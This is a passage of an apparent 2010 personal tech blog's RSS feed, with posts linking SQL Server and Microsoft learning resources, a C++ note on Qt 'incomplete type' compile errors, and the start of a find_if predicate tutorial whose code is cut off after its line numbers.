&lt;/a&gt; – if you wanted to know how SQL Server handles I/O then this is a very interesting read.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.mssqltips.com/tip.asp?tip=1254&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Clustered Tables vs Heap Tables
	&lt;/span&gt;
&lt;/a&gt; – interesting to understand the comparisons in SQL Server (especially if/when you will be dealing with SQL Azure).&lt;/li&gt;
&lt;li&gt;Cloud Computing footprint – is it time we &lt;a
	
		href = &#34;http://www.guardian.co.uk/environment/2010/apr/30/cloud-computing-carbon-emissions&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		started measuring our digital footprint
	&lt;/span&gt;
&lt;/a&gt; just the same as we have our carbon footprint?&lt;/li&gt;
&lt;li&gt;Zettabytes – Petabytes is so yesterday; &lt;a
	
		href = &#34;http://www.guardian.co.uk/technology/2010/may/03/humanity-digital-output-zettabyte&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hello Zettabytes
	&lt;/span&gt;
&lt;/a&gt;! I wonder how one indexes that?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://lmgtfy.com/?q=amit&amp;#43;bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Let me Google that for you
	&lt;/span&gt;
&lt;/a&gt; – perfect for when you get a question from a few lazy people.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.letmebingthatforyou.com/?q=Amit&amp;#43;Bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Let me Bing that for you
	&lt;/span&gt;
&lt;/a&gt; – same as above, except this uses Bing.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.mynitor.com/2010/02/07/15-remote-desktop-solutions-for-linux/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		15 RDP Solutions for Linux
	&lt;/span&gt;
&lt;/a&gt; – good write up comparing the various options you have if you want to RDP to Linux from Windows/Mac.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://ninite.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ninite easy PC Setup
	&lt;/span&gt;
&lt;/a&gt; - Install multiple apps at once without toolbars or clicking Next. Quite handy if you have less-technical friends/family. :)&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>What we have learned ...</title>
      <link>/post/2010/06/what-we-have-learned/</link>
      <pubDate>Mon, 21 Jun 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/06/what-we-have-learned/</guid>
      <description>&lt;p&gt;… the average wife spends nearly 8,000 minutes a year nagging her husband!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hardware Chart</title>
      <link>/post/2010/06/hardware-chart/</link>
      <pubDate>Sun, 20 Jun 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/06/hardware-chart/</guid>
      <description>&lt;p&gt;This computer hardware chart is quite cool. Not sure why, where and who would want to use this. But, it does beg the question – can things get any geekier? :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/907479120_5ZgiCS1.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>invalid use of incomplete type ‘blah&#39;</title>
      <link>/post/2010/04/invalid-use-of-incomplete-type-blah/</link>
      <pubDate>Sun, 18 Apr 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/04/invalid-use-of-incomplete-type-blah/</guid>
      <description>&lt;p&gt;When you try and compile some code and you get an error along the lines of invalid use of an incomplete type &amp;lsquo;whatever type&amp;rsquo; then in most cases it means you need to include the header file where that type is displayed.&lt;/p&gt;
&lt;p&gt;For example I had the following events in my header file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;protected&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; mousePressEvent(QGraphicsSceneMouseEvent &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;event);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;mouseReleaseEvent&lt;/span&gt;(QGraphicsSceneMouseEvent &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;event);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When when I tried to compile gave the following error: invalid use of incomplete type &lt;code&gt;‘struct QGraphicsSceneMouseEvent’&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This was because the compiler could not find details of the struct and hence the details. To fix the problem I need to include the header.&lt;/p&gt;
&lt;p&gt;This of course is similar to the &lt;a
	
		href = &#34;/post/2010/01/qpainter-painter-has-initialiser-but-incomplete-type/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		initialized but not complete
	&lt;/span&gt;
&lt;/a&gt; error but subtly different.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Free eBook on SQL Server 2008 R2</title>
      <link>/post/2010/04/free-ebook-on-sql-server-2008-r2/</link>
      <pubDate>Fri, 16 Apr 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/04/free-ebook-on-sql-server-2008-r2/</guid>
      <description>&lt;p&gt;Microsoft is giving away a free eBook on SQL Server 2008 R2 for free. It gives you insight into exciting new implementations in the DB such as &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Complex_event_processing&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		complex event processing (CEP)
	&lt;/span&gt;
&lt;/a&gt; and StreamInsight. You can check out the &lt;a
	
		href = &#34;http://blogs.msdn.com/microsoft_press/archive/2010/04/14/free-ebook-introducing-microsoft-sql-server-2008-r2.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Table of Contents here
	&lt;/span&gt;
&lt;/a&gt; and download the book in either &lt;a
	
		href = &#34;http://go.microsoft.com/fwlink/?LinkId=189147&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		pdf format
	&lt;/span&gt;
&lt;/a&gt; or &lt;a
	
		href = &#34;http://go.microsoft.com/fwlink/?LinkId=189148&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		xps format
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Pixels</title>
      <link>/post/2010/04/pixels/</link>
      <pubDate>Fri, 09 Apr 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/04/pixels/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://bit.ly/akoZmq&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Pixels
	&lt;/span&gt;
&lt;/a&gt; is Awesome! Any self righteous geek has to check this out. :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Free (technical) Microsoft Courses</title>
      <link>/post/2010/04/free-technical-microsoft-courses/</link>
      <pubDate>Thu, 08 Apr 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/04/free-technical-microsoft-courses/</guid>
      <description>&lt;p&gt;Channel 9 has a &lt;a
	
		href = &#34;http://channel9.msdn.com/learn/courses/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		number of free technical courses
	&lt;/span&gt;
&lt;/a&gt; on a number of emerging MS technologies covering a wide range such as &lt;a
	
		href = &#34;http://channel9.msdn.com/learn/courses/Azure/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://channel9.msdn.com/learn/courses/Windows7/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Win7
	&lt;/span&gt;
&lt;/a&gt;, Identity, SQL Server 2008 R2, Visual &lt;a
	
		href = &#34;http://channel9.msdn.com/learn/courses/VS2010/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Studio 2010, .NET 4.0
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://channel9.msdn.com/learn/courses/Silverlight4/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Silverlight 4
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://channel9.msdn.com/learn/courses/SharePoint2010Developer/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MOSS 2010
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://channel9.msdn.com/learn/courses/Office2010/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Office 2010
	&lt;/span&gt;
&lt;/a&gt;, etc.&lt;/p&gt;
&lt;p&gt;These cover a number of the features and essentially have everything to get a developer quite comfortable with the stack. In some areas they go a little deep as well. I think its an excellent way to come up to speed.&lt;/p&gt;
&lt;p&gt;Here is a quick example of the topics covered in some of the tracks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Win7 – how to use the Taskbar, Multitouch, Ribbon, Sensors and Location, Session 0 Isolation, etc.&lt;/li&gt;
&lt;li&gt;Azure – Azure Overview, Azure Storage, Deployment, SQL Azure, etc.&lt;/li&gt;
&lt;li&gt;VS 2010 and .NET 4 – F#, ASP.NET 4, Parallel Computing, ALM, etc.&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Finding an element in a list</title>
      <link>/post/2010/04/finding-an-element-in-a-list/</link>
      <pubDate>Mon, 05 Apr 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/04/finding-an-element-in-a-list/</guid>
      <description>&lt;p&gt;Often you need to search through an array or list to find a specific element and of course you need this search to be as fast and efficient as possible. One of the best ways to do this is using a binary predicate function.&lt;/p&gt;
&lt;p&gt;A binary function is a function object (which are also called &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Functors&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Functors
	&lt;/span&gt;
&lt;/a&gt;) and is any object which can be called as if it was a function. Depending on your language and platform of choice, &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Function_object&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Function objects
	&lt;/span&gt;
&lt;/a&gt; are also known as &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Callback_%28computer_science%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		callback functions
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Function_pointer&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		function pointers
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Delegate_%28.NET%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		delegates
	&lt;/span&gt;
&lt;/a&gt; (.NET). Generally, there are three types of function objects:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Generators - function with no arguments&lt;/li&gt;
&lt;li&gt;Unary Functions - function with one argument&lt;/li&gt;
&lt;li&gt;Binary Functions - functions with two arguments&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A function object which takes one parameter (i.e. &lt;a
	
		href = &#34;http://www.sgi.com/tech/stl/UnaryFunction.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		unary function
	&lt;/span&gt;
&lt;/a&gt;) and returns a bool are treated as a special case and are  called Predicate functions.&lt;/p&gt;
&lt;p&gt;How do we use it? Say we have a simple data structure called &lt;strong&gt;ContactData&lt;/strong&gt; to represent a Contact in an Address book as shown in the code snippet below. We also define a predicate function called &lt;strong&gt;FindAContact&lt;/strong&gt;. Now we need to use this predicate function and define another function called  findContact. The findContact function in turn uses &lt;a
	
		href = &#34;http://www.sgi.com/tech/stl/find_if.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		find_if
	&lt;/span&gt;
&lt;/a&gt;.  find_if takes three parameters, the start of the iterator, the last element and the predicate to use. It returns the first iterator it finds in a given range for which the predicate holds. If no matches are found then  the last element in the iterator is returned.&lt;/p&gt;
&lt;p&gt;We also need to ensure we have the relevant includes for this to compile and link properly hence include&amp;rsquo;s below.&lt;/p&gt;
&lt;p&gt;The code snippet below shows all that we have discussed.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
